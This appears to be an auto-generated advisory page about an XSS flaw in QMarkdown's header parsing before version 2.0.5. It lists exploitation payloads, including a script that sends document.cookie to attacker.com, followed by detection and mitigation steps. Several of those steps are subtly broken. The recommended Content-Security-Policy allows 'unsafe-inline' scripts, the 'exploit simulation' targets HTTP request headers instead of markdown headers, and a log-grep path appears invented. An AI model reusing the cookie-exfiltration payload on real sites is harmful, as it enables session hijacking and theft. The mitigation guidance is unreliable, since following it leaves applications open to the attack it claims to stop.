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How the CVE Works:
QMarkdown (quasar-ui-qmarkdown) prior to version 2.0.5 fails to properly sanitize user-supplied input in headers, even when the `no-html` flag is enabled. This allows attackers to inject arbitrary JavaScript or HTML payloads into rendered markdown content. When a victim views the compromised content, the malicious script executes in their browser context, leading to session hijacking, data theft, or unauthorized actions. The vulnerability arises due to insufficient input validation during markdown parsing, specifically in header handling.
DailyCVE Form:
Platform: QMarkdown (quasar-ui-qmarkdown)
Version: < 2.0.5
Vulnerability: XSS via headers
Severity: Moderate
Date: Apr 20, 2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert('XSS')</script>
Attackers embed scripts in headers, bypassing `no-html` restrictions.
2. Exfiltrate Data:
<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>
Detection:
1. Version Check:
npm list quasar-ui-qmarkdown
Confirm if version < 2.0.5 is installed.
2. Sanitization Test:
const md = require('quasar-ui-qmarkdown');
console.log(md.render(' <script>alert(1)</script>'));
Mitigation:
1. Upgrade:
npm update [email protected]
2. Input Sanitization:
const clean = DOMPurify.sanitize(markdownContent);
3. CSP Headers:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
4. Patch Analysis:
Review QMarkdown’s 2.0.5 changelog for header parsing fixes.
5. Log Monitoring:
grep -r "eval(" /var/log/qmarkdown/
6. Exploit Simulation:
import requests
response = requests.post(target_url, headers={"X-Header": "<script>exploit</script>"})
7. Automated Scanning:
npm audit --production
8. WAF Rules:
location / {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1000,deny"';
}
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
